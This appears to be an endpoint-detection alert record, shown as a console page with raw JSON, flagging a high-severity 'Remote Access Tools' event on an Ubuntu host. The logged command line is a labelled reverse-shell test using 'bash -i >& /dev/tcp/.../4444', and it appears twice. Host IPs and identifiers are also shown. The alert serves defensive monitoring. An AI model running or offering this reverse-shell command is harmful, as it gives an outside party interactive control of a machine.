Alert Information
High
- Alert ID
ind:af4714f04ea341d8b9ee63c7ec7ad5c9:1766018227406493594-30103-2181648- Composite ID
84393bf974fd44bda943a25a6a7bc27f:ind:af4714f04ea341d8b9ee63c7ec7ad5c9:1766018227406493594-30103-2181648- 설명
- Bash has created an interactive terminal for a remote host. Check the process tree to determine if malicious commands were executed and if this access was expected.
- 호스트
- in-bridge-40
- 상태
- new
- 생성 시간
- 2025-12-18 09:38:09
- 업데이트 시간
- 2025-12-18 10:37:09
MITRE ATT&CK
- Tactic
- Command and Control
- Technique
- Remote Access Tools
Command Line
bash -c
echo '=== Reverse Shell 테스트 ==='
IP1=$((RANDOM % 256))
IP2=$((RANDOM % 256))
timeout 2 bash -i >& /dev/tcp/${IP1}.${IP2}.10.10/4444 0>&1 || true
echo '=== Done ==='
Raw JSON Data
{"id":"ind:af4714f04ea341d8b9ee63c7ec7ad5c9:1766018227406493594-30103-2181648","composite_id":"84393bf974fd44bda943a25a6a7bc27f:ind:af4714f04ea341d8b9ee63c7ec7ad5c9:1766018227406493594-30103-2181648","agent_id":"af4714f04ea341d8b9ee63c7ec7ad5c9","cid":"84393bf974fd44bda943a25a6a7bc27f","description":"Bash has created an interactive terminal for a remote host. Check the process tree to determine if malicious commands were executed and if this access was expected.","severity":70,"severity_name":"High","confidence":80,"tactic":"Command and Control","tactic_id":"TA0011","technique":"Remote Access Tools","technique_id":"T1219","cmdline":"bash -c \necho \u0027=== Reverse Shell \uD14C\uC2A4\uD2B8 ===\u0027\nIP1=$((RANDOM % 256))\nIP2=$((RANDOM % 256))\ntimeout 2 bash -i \u003E\u0026 /dev/tcp/${IP1}.${IP2}.10.10/4444 0\u003E\u00261 || true\necho \u0027=== Done ===\u0027\n","filename":"bash","filepath":"/usr/bin/bash","sha256":"59474588a312b6b6e73e5a42a59bf71e62b55416b6c9d5e4a6e1c630c2a9ecd4","status":"new","type":"ldt","created_timestamp":"2025-12-18T00:38:09.63868617Z","updated_timestamp":"2025-12-18T01:37:09.811675417Z","device":{"device_id":"af4714f04ea341d8b9ee63c7ec7ad5c9","cid":"84393bf974fd44bda943a25a6a7bc27f","agent_version":"7.31.18410.0","hostname":"in-bridge-40","local_ip":"172.30.1.19","external_ip":"14.47.49.244","mac_address":"00-0c-29-c8-eb-b6","platform_name":"Linux","os_version":"Ubuntu 22.04"},"aggregate_id":"aggind:af4714f04ea341d8b9ee63c7ec7ad5c9:12887636547","CreatedAt":"2025-12-18T09:38:09.6386862+09:00","UpdatedAt":"2025-12-18T10:37:09.8116754+09:00"}
Quick Info
- Severity High
- Score 70
-
Agent ID
af4714f04ea341d8b9ee63c7ec7ad5c9
Actions